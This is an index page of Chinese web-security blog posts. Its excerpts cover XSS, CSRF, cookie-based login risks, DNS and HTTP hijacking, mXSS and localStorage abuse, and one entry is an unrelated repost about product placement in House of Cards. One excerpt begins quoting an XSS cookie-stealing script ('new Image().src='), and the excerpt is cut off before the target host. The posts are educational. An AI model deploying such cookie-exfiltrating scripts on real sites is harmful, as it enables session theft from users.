文章列表
张颖 ,认真认真 于 8个月前发表 1626 1 1
加密:利用某种加密算法,将明文转换成无法简单识别的密文。 解密:利用相应的解密算法,将密文转换成可识别的明文。 密码破解:1、算法逆向破解(一般算法都是不可逆的);2、穷举暴力破解 3、查表,实际上表也是提前穷举跑出来的。 慢加密:提高加密时间来相应的加大破解时间和难度。 慢加密出现的原因:密码破解的时间和加密算法是直接关联的,例如 MD5 加密是非常快的,加密一次耗费 1 微秒,那破解时随便猜一个词组,也只需 1 微秒,攻击者一秒钟就可以猜 100 万个。如果加密一次提高到 10 毫秒,那么攻击者每秒只能猜 100 个,破解速度就慢了一万倍。提高加密时间有两种方法,一是多次加密,二是加大加密算法的复杂度。 但如果是服务器端加密,使用慢加密的网站,如果同时来了多个用户,服务器 CPU 可能就不够用了。所以前端加密在客户端拥有强大的计算能力的今天,逐渐被考虑。 慢加密过程: [http://7tszky.com1.z0.glb.clouddn.com/FpSX_onYmauwo7yyuO-bTTJMYTQN] 破解方法: 暴力的穷举生成字典法
8个月前
Web安全
刘志龙 于 10个月前发表 2162 5 2
忙忙忙,最近事情实在有点多,赶在月底写一下系列4。 前面3个文章简单介绍了xss,后面还会继续对xss进行研究。无奈最近啥都没研究,只好先一个csrf的入门文章过渡一下。 这篇是csrf入门篇,内容比较简单,知道csrf的同学可以直接关掉页面了。 CSRF 是什么 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一。 CSRF 能干啥 攻击者盗用了你的身份,在你不知情的情况下以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,购买商品,虚拟货币转账,删你文章,微博等等。 CSRF 原理 看完上面介绍,我自己是没有任何收获。。还是先看个图吧。借用cnblogs某大大一个图 [http://7tszky.com1.z0.glb.clouddn.com/FvWo3AQwS_R7ZqKhSG3OxvFxPjG8]
10个月前
Web安全
谢华良 于 1年前发表 1352 1 0
作为一个web开发者,避免不了用户登录功能,但是有多少知道用户登录的一些安全防范技术呢? 一般的菜鸟只知道把用户信息保存到Cookie即可,登录只管判断Cookie是否存在,凭借着cookie值的存在情况来判断用户是否登录,更有一些甚至把用户密码也保存在Cookie中,这是极其危险的,人家要搞你分分钟可以模拟你的Cookie来登录你的用户,做一些危险的事情。 1、攻击者怎么拿到你的登录的Cookie值。 现在各种攻击技术,目前我只了解XSS攻击方式,就在前一段时间,我自己建立了一个自己的 @前端社区 [http://www.jqsite.com] ) 在群里面讨论遇到了一个大神,做过一个XSS攻击的测试,他在我的社区里面发布了一篇博客,里面嵌入了XSS攻击脚步,脚步代码如下: (function(){(new Image()).src='
1年前
Web安全
刘志龙 于 1年前发表 2422 2 1
上篇文章写到了一个亲自测试的demo,其中有一个地方讲到了“html字符实体”,这是上次xss成功需要知道的非常重要的一个小知识。不仅html字符实体,要继续学习xss需要了解很重要的一个知识就是编码。不然很多时候遇到各种对特殊字符的过滤可能就无能为力了。这篇文章就是要学习一下xss各种编码的知识,内容可能比较枯燥~~ 最近sng要求大家做安全考试,跟xss相关有两个个非常经典的题目: [http://7tszky.com1.z0.glb.clouddn.com/FsMq218jSr_xXmmrBDA4TEVuPsEs] [http://7tszky.com1.z0.glb.clouddn.com/FuXur6Qa6GeihEyS1jTSSG0NYJUf] 题目1答案是b,题目2答案是c和d。 看完这两道题如果大家都很轻松的答对了,而且知其所以然,那么这篇文章大家快速浏览下或者直接关掉啦~~ 为了解答上面的问题,我们先来学习下面编码相关的知识吧~~ 常用编码
1年前
Web安全
ouven ,https://ouvens.github.io/ 于 1年前发表 2933 1 1
原文链接 [http://ouvens.github.io/frontend-weboptimize/2016/03/20/web-security-and-https.html] web前端安全方面技术含有的东西较多,这里就来理一理web安全方面所涉及的一些问题。 一、XSS与SQL攻击 入门级的安全知识,攻击手段和防范方法这里略过,不过注意的是xss分存储型xss、反射型xss、mxss(dom xss),主要防范思路是检查验证要输入到页面上的内容是否安全。 二、CSRF 入门级的安全知识,攻击手段和防范方法这里略过 三、请求劫持与HTTPS 3.1、请求劫持 请求劫持现在主要分为两种,DNS劫持与HTTP劫持: DNS劫持: DNS劫持就是通过劫持了DNS服务器,通过某些手段取得某域名的解析记录控制权,进而修改此域名的解析结果,导致对该域名的访问由原IP地址转入到修改后的指定IP,其结果就是对特定的网址不能访问或访问的是假网址,从而实现窃取资料或者破坏原有正常服务的目的。DNS劫持通过篡改DNS服务器上的数据返回给用户一个错误的查询结果来实现的。
1年前
Web安全
刘志龙 于 1年前发表 3344 17 3
上篇文章讲解了xss的一些基础知识,这篇文章继续研究学习。上篇文章提到了一些理论性的东西,看完估计感觉很快也忘了。简单回顾一下,讲了xss分类:存储型XSS,反射型XSS,DOM XSS。讲了几个简单的payload,也只是理论性的东西。这篇先不继续看理论了,先来尝试尝试如何使用payload~ 玩起~~ 实战 理论的东西看了也很快就忘记了,于是我决定找个东西实际玩一玩~ 就从身边的东西,imweb博客入手好了。 仔细看了一下博客,最容易xss的似乎是文章里面的评论框,这个评论框是支持富文本的,当富文本一进来就意味着风险也一并进来了。 评论框的过滤规则一般有两类,第1类我们称为白名单,即:只允许使用白名单内的合法HTML标签,例如IMG。其它均剔除。 第2类我们称为黑名单,即:厂商会构建一个有危害的HTML标签、属性列表,然后通过分析用户提交的HTML代码,剔除其中有害的部分。 我们博客的评论框我测试了一下,应该是黑名单过滤的。 初探 对评论框还完全不了解,看看代码也是压缩了的,懒得去看压缩后的代码= = 直接用富文本试探好了~~ 首先我提交了非常简单的一个payload
1年前
Web安全
刘志龙 于 1年前发表 4070 1 7
一直对web安全很感兴趣,却一直只是略懂一点。决定从现在开始学起web安全的知识,更新起web安全系列的文章。文章内容为作者自己边学边写的,不对之处多谢各位大大们指出。 web安全比较经典的攻击手段有三种:xss,csrf,界面操作劫持。好吧,都是一知半解的,就从xss开始吧。这篇文章从xss基础讲起,内容比较简单,了解xss的同学可以直接跳过,关注后续笔者继续学习xss的文章就好了~~ XSS简介 XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。 XSS分类 类型一: 反射型XSS 反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来
1年前
Web安全
吴浩 于 1年前发表 3348 0 1
一、接入登录态隔离背景 目前腾讯的web业务都是共享skey作为登录态凭证,skey这个cookie打在*.qq.com一级域名下,被qzone.qq.com、mail.qq.com、t.qq.com等各web类业务共享。一旦某个业务出现xss漏洞,恶意脚本可能访问其他所有以skey为登录凭证的web业务的接口,例如广发微博,或者盗取用户邮件正文等私密信息;恶意脚本还能收集skey这个票据,然后伪造请求,达到窥探用户隐私或者发送广告的目的。登录态隔离,通过公司统一登录平台(ptlogin)下发业务私有的p_skey作为用户登录态凭证,不再让skey成为畅游qq各业务的通行证,有利于大幅降低xss漏洞的影响。 二、接入隔离的改造点 1.请求PTLOGIN登录框增加DAID参数 访问qqlogin.oa.com,申请加入登录态隔离白名单,申请成功将得到一个daid,该ID与域名绑定,如ke.qq.com申请的daid=233。请求登录框url中应该明确给出daid参数,这样才能确保ptlogin会种p_skey到业务域名下的cookie中。 2.申请PTLOGIN4.KE.QQ.COM域名
1年前
Web安全
yangchunwen 于 1年前发表 4724 7 0
相信很多人都试过这样的经历,浏览一个正常的网站时,右下突然角弹出一堆小广告,而且这些广告的内容和你浏览的网站格格不入: taobaodns [http://i12.tietuku.com/1dd0edf962adb967.jpg] 前几天还有某微博用户爆料访问github时居然也有广告: githubhijack [http://i12.tietuku.com/b1adbbdfaa71501f.jpg] 又或者,你有没有试过因为不小心输错了某个网站的网址,出来一堆不堪入目的广告内容? 我今天还特意在家里试了一把,故意输入一个乱七八糟的网址,出来的页面让我无语,各种小广告,而且连续故意输错几个网址,都是这样: wrongname [http://i12.tietuku.com/7b8d35c48dfd23cf.jpg] 上面说的几个事情,未必但很有可能就是 运营商DNS劫持 。事实上,运营商劫持几乎到了明目张胆的地步,尤其是一些N级小电信运营商。对运营商劫持的一些实际例子的危害,感兴趣可以看看这篇 文章 [http://www.75team.com/archives/350]
1年前
Web安全
杨文坚 ,首席吹牛工程师 于 2年前发表 1714 0 0
因为没啥好讲,就说一下mXSS ABSTRACT 不论是服务器端或客户端的XSS过滤器,都认定过滤后的HTML源代码应该与浏览器所渲染后的HTML代码保持一致,至少不会出现很大的出入。然而,如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化会使得这个认定不再成立:一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation),而最终导致XSS的攻击流程,被称为突变XSS(mXSS, Mutation-based Cross-Site-Scripting)。
2年前
Web安全
黎腾 ,如果sea能带走我的哀愁 于 2年前发表 5613 8 3
有人说,前端的界限就在浏览器那儿。 无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。 这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。 然而,作为一个前端,我发现是有方式打开次元大门的… 这个实验脑洞较大,动机无聊,但某种意义上反映了一些 安全问题 。 想象一下,有天你在家里上网,吃着火锅还唱着歌, 点开一个链接,电脑突然就蓝屏了 !想想还真有点小激动。 起因 故事得从localStorage说起。 html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。 windows下的chrome,localStorage存储于 C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage 文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。 对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。 那么问题就变成: 这样的限制足够保护用户硬盘了吗 ? 关键
2年前
Web安全
黎腾 ,如果sea能带走我的哀愁 于 2年前发表 1606 0 0
[http://leiphone.qiniudn.com/uploads/new/article/600_600/201503/550fb2187739e.png] 当你在观看《纸牌屋》的过程中,哪些品牌曾引起了你的注意? 克莱尔·安德伍德(由罗宾·怀特饰演)在影片中通常会使用 苹果 [http://www.leiphone.com/tag/%E8%8B%B9%E6%9E%9C] 的iPhone;雷米·丹顿(由马赫沙拉·阿里饰演)则会驾驶着通用汽车公司的别克;弗兰西斯·安德伍德(由凯文·史派西饰演)佩戴的手表一直都是万国手表。 在《纸牌屋》第三季中一共出现了105个不同的品牌。 105个品牌听起来好像很多,然而和《纸牌屋》第一、二季的129个品牌和134个品牌相比,则出现小幅下降。
转载自www.leiphone.com
2年前
Web安全